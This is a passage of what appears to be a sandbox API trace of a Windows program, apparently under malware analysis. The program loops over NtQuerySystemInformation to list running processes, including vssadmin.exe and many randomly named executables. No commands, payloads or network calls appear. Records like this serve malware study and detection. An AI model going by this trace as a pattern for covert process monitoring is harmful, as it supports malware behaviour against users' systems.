AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0057.948] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dd8 [0057.948] RtlFreeAnsiString (AnsiString="svchost.exe") [0057.948] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dd8) returned 1 [0057.948] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0057.948] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161e50 [0057.948] RtlFreeAnsiString (AnsiString="taskhostw.exe") [0057.948] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e50) returned 1 [0057.948] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="OfficeClickToRun.exe", AllocateDestinationString=1 | out: DestinationString="OfficeClickToRun.exe") returned 0x0 [0057.948] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x15) returned 0x3171510 [0057.948] RtlFreeAnsiString (AnsiString="OfficeClickToRun.exe") [0057.948] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171510) returned 1 [0057.948] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="SecurityHealthService.exe", AllocateDestinationString=1 | out: DestinationString="SecurityHealthService.exe") returned 0x0 [0057.948] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x1a) returned 0x31688a8 [0057.948] RtlFreeAnsiString (AnsiString="SecurityHealthService.exe") [0057.949] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x31688a8) returned 1 [0057.949] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0057.949] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e68 [0057.949] RtlFreeAnsiString (AnsiString="explorer.exe") [0057.949] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e68) returned 1 [0057.949] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="Memory Compression", AllocateDestinationString=1 | out: DestinationString="Memory Compression") returned 0x0 [0057.949] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x13) returned 0x31713f0 [0057.949] RtlFreeAnsiString (AnsiString="Memory Compression") [0057.949] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x31713f0) returned 1 [0057.949] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="ShellExperienceHost.exe", AllocateDestinationString=1 | out: DestinationString="ShellExperienceHost.exe") returned 0x0 [0057.949] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3171330 [0057.949] RtlFreeAnsiString (AnsiString="ShellExperienceHost.exe") [0057.949] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171330) returned 1 [0057.949] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="SearchUI.exe", AllocateDestinationString=1 | out: DestinationString="SearchUI.exe") returned 0x0 [0057.949] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161dc0 [0057.949] RtlFreeAnsiString (AnsiString="SearchUI.exe") [0057.950] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dc0) returned 1 [0057.950] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="RuntimeBroker.exe", AllocateDestinationString=1 | out: DestinationString="RuntimeBroker.exe") returned 0x0 [0057.950] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x12) returned 0x31713f0 [0057.950] RtlFreeAnsiString (AnsiString="RuntimeBroker.exe") [0057.950] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x31713f0) returned 1 [0057.950] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="WmiPrvSE.exe", AllocateDestinationString=1 | out: DestinationString="WmiPrvSE.exe") returned 0x0 [0057.950] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e20 [0057.950] RtlFreeAnsiString (AnsiString="WmiPrvSE.exe") [0057.950] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e20) returned 1 [0057.950] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0057.950] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161da8 [0057.950] RtlFreeAnsiString (AnsiString="taskhostw.exe") [0057.950] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161da8) returned 1 [0057.950] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="UsoClient.exe", AllocateDestinationString=1 | out: DestinationString="UsoClient.exe") returned 0x0 [0057.950] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161e38 [0057.950] RtlFreeAnsiString (AnsiString="UsoClient.exe") [0057.951] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e38) returned 1 [0057.951] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="msoia.exe", AllocateDestinationString=1 | out: DestinationString="msoia.exe") returned 0x0 [0057.951] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161e08 [0057.951] RtlFreeAnsiString (AnsiString="msoia.exe") [0057.951] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0057.951] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0057.951] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161e08 [0057.951] RtlFreeAnsiString (AnsiString="taskhostw.exe") [0057.951] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0057.951] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="DeviceCensus.exe", AllocateDestinationString=1 | out: DestinationString="DeviceCensus.exe") returned 0x0 [0057.951] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x11) returned 0x3171310 [0057.951] RtlFreeAnsiString (AnsiString="DeviceCensus.exe") [0057.951] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171310) returned 1 [0057.951] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="UNPCampaignManager.exe", AllocateDestinationString=1 | out: DestinationString="UNPCampaignManager.exe") returned 0x0 [0057.951] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x17) returned 0x3171310 [0057.952] RtlFreeAnsiString (AnsiString="UNPCampaignManager.exe") [0057.952] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171310) returned 1 [0057.952] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="msoia.exe", AllocateDestinationString=1 | out: DestinationString="msoia.exe") returned 0x0 [0057.952] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161dc0 [0057.952] RtlFreeAnsiString (AnsiString="msoia.exe") [0057.952] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dc0) returned 1 [0057.952] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="AppHostRegistrationVerifier.exe", AllocateDestinationString=1 | out: DestinationString="AppHostRegistrationVerifier.exe") returned 0x0 [0057.952] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x20) returned 0x3168830 [0057.952] RtlFreeAnsiString (AnsiString="AppHostRegistrationVerifier.exe") [0057.952] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3168830) returned 1 [0057.952] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="screensaver.exe", AllocateDestinationString=1 | out: DestinationString="screensaver.exe") returned 0x0 [0057.952] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x10) returned 0x3161da8 [0057.952] RtlFreeAnsiString (AnsiString="screensaver.exe") [0057.953] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161da8) returned 1 [0057.953] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="empty-suite-xml.exe", AllocateDestinationString=1 | out: DestinationString="empty-suite-xml.exe") returned 0x0 [0057.953] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x14) returned 0x3171330 [0057.953] RtlFreeAnsiString (AnsiString="empty-suite-xml.exe") [0057.953] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171330) returned 1 [0057.953] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="religion-decorating-survivors.exe", AllocateDestinationString=1 | out: DestinationString="religion-decorating-survivors.exe") returned 0x0 [0057.953] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x22) returned 0x31623b0 [0057.953] RtlFreeAnsiString (AnsiString="religion-decorating-survivors.exe") [0057.953] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x31623b0) returned 1 [0057.953] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="surveillance.exe", AllocateDestinationString=1 | out: DestinationString="surveillance.exe") returned 0x0 [0057.953] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x11) returned 0x3171310 [0057.953] RtlFreeAnsiString (AnsiString="surveillance.exe") [0057.953] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171310) returned 1 [0057.953] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="legends.exe", AllocateDestinationString=1 | out: DestinationString="legends.exe") returned 0x0 [0057.953] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0057.953] RtlFreeAnsiString (AnsiString="legends.exe") [0057.954] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0057.954] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="miniature.exe", AllocateDestinationString=1 | out: DestinationString="miniature.exe") returned 0x0 [0057.954] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161e50 [0057.954] RtlFreeAnsiString (AnsiString="miniature.exe") [0057.954] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e50) returned 1 [0057.954] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="spies.exe", AllocateDestinationString=1 | out: DestinationString="spies.exe") returned 0x0 [0057.954] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161e50 [0057.954] RtlFreeAnsiString (AnsiString="spies.exe") [0057.954] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e50) returned 1 [0057.954] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dame_looked_pearl.exe", AllocateDestinationString=1 | out: DestinationString="dame_looked_pearl.exe") returned 0x0 [0057.954] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x16) returned 0x3171430 [0057.954] RtlFreeAnsiString (AnsiString="dame_looked_pearl.exe") [0057.954] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171430) returned 1 [0057.954] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="allied.exe", AllocateDestinationString=1 | out: DestinationString="allied.exe") returned 0x0 [0057.954] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xb) returned 0x3161da8 [0057.954] RtlFreeAnsiString (AnsiString="allied.exe") [0057.954] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161da8) returned 1 [0057.954] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="geo.exe", AllocateDestinationString=1 | out: DestinationString="geo.exe") returned 0x0 [0057.954] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x8) returned 0x3175af8 [0057.954] RtlFreeAnsiString (AnsiString="geo.exe") [0057.954] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3175af8) returned 1 [0057.954] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="roman_disclosure.exe", AllocateDestinationString=1 | out: DestinationString="roman_disclosure.exe") returned 0x0 [0057.954] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x15) returned 0x3171310 [0057.955] RtlFreeAnsiString (AnsiString="roman_disclosure.exe") [0057.955] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171310) returned 1 [0057.955] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="scuba elementary.exe", AllocateDestinationString=1 | out: DestinationString="scuba elementary.exe") returned 0x0 [0057.955] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x15) returned 0x3171330 [0057.955] RtlFreeAnsiString (AnsiString="scuba elementary.exe") [0057.955] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171330) returned 1 [0057.955] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="attacks_according.exe", AllocateDestinationString=1 | out: DestinationString="attacks_according.exe") returned 0x0 [0057.955] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x16) returned 0x3171310 [0057.955] RtlFreeAnsiString (AnsiString="attacks_according.exe") [0057.955] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171310) returned 1 [0057.955] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dupleased.exe", AllocateDestinationString=1 | out: DestinationString="dupleased.exe") returned 0x0 [0057.955] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161dd8 [0057.955] RtlFreeAnsiString (AnsiString="dupleased.exe") [0057.955] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dd8) returned 1 [0057.955] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="basin.exe", AllocateDestinationString=1 | out: DestinationString="basin.exe") returned 0x0 [0057.955] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161e08 [0057.955] RtlFreeAnsiString (AnsiString="basin.exe") [0057.998] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0057.998] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="pubemissiondetermine.exe", AllocateDestinationString=1 | out: DestinationString="pubemissiondetermine.exe") returned 0x0 [0057.998] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x19) returned 0x3168830 [0057.998] RtlFreeAnsiString (AnsiString="pubemissiondetermine.exe") [0057.998] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3168830) returned 1 [0057.998] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="barriers-expenditure.exe", AllocateDestinationString=1 | out: DestinationString="barriers-expenditure.exe") returned 0x0 [0057.998] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x19) returned 0x3168970 [0057.998] RtlFreeAnsiString (AnsiString="barriers-expenditure.exe") [0058.026] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3168970) returned 1 [0058.026] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dllhost.exe", AllocateDestinationString=1 | out: DestinationString="dllhost.exe") returned 0x0 [0058.026] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0058.026] RtlFreeAnsiString (AnsiString="dllhost.exe") [0058.026] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0058.026] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0058.026] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dd8 [0058.026] RtlFreeAnsiString (AnsiString="conhost.exe") [0058.026] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dd8) returned 1 [0058.026] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0058.026] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e38 [0058.026] RtlFreeAnsiString (AnsiString="conhost.exe") [0058.026] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e38) returned 1 [0058.026] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0058.026] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dc0 [0058.026] RtlFreeAnsiString (AnsiString="svchost.exe") [0058.026] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dc0) returned 1 [0058.026] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="CompatTelRunner.exe", AllocateDestinationString=1 | out: DestinationString="CompatTelRunner.exe") returned 0x0 [0058.026] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x14) returned 0x3171510 [0058.027] RtlFreeAnsiString (AnsiString="CompatTelRunner.exe") [0058.027] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171510) returned 1 [0058.027] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0058.027] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dc0 [0058.027] RtlFreeAnsiString (AnsiString="conhost.exe") [0058.027] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dc0) returned 1 [0058.027] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0058.027] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e68 [0058.027] RtlFreeAnsiString (AnsiString="explorer.exe") [0058.027] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e68) returned 1 [0058.027] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0058.027] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e08 [0058.027] RtlFreeAnsiString (AnsiString="explorer.exe") [0058.027] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0058.027] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="vssadmin.exe", AllocateDestinationString=1 | out: DestinationString="vssadmin.exe") returned 0x0 [0058.027] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e38 [0058.027] RtlFreeAnsiString (AnsiString="vssadmin.exe") [0058.027] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e38) returned 1 [0058.027] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0058.027] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0058.027] RtlFreeAnsiString (AnsiString="conhost.exe") [0058.027] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0058.027] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3177e48) returned 1 [0058.027] Sleep (dwMilliseconds=0x64) [0058.300] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x1024) returned 0x3177e48 [0058.300] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0058.301] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x2048) returned 0x3177e48 [0058.301] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0058.302] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x306c) returned 0x3177e48 [0058.302] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0058.302] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x4090) returned 0x3177e48 [0058.302] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0058.303] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x50b4) returned 0x3177e48 [0058.303] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0058.303] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x60d8) returned 0x3177e48 [0058.303] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0058.303] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x70fc) returned 0x3177e48 [0058.303] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0058.304] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x8120) returned 0x3177e48 [0058.304] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0058.304] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x9144) returned 0x3177e48 [0058.304] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0058.304] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xa168) returned 0x3177e48 [0058.304] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0058.304] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xb18c) returned 0x3177e48 [0058.304] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0058.305] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xc1b0) returned 0x3177e48 [0058.305] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0058.305] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xd1d4) returned 0x3177e48 [0058.305] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0058.305] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xe1f8) returned 0x3177e48 [0058.305] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0058.306] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xf21c) returned 0x3177e48 [0058.306] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0058.306] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x10240) returned 0x3177e48 [0058.306] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0058.306] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x11264) returned 0x3177e48 [0058.306] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0058.307] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x12288) returned 0x3177e48 [0058.307] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0058.307] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x132ac) returned 0x3177e48 [0058.307] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0058.307] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x142d0) returned 0x3177e48 [0058.307] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0058.308] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x152f4) returned 0x3177e48 [0058.308] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0058.308] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x16318) returned 0x3177e48 [0058.308] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0058.308] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1733c) returned 0x3177e48 [0058.309] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0058.309] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x18360) returned 0x3177e48 [0058.309] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0058.309] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x19384) returned 0x3177e48 [0058.309] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0058.310] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1a3a8) returned 0x3177e48 [0058.310] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x3177e48, 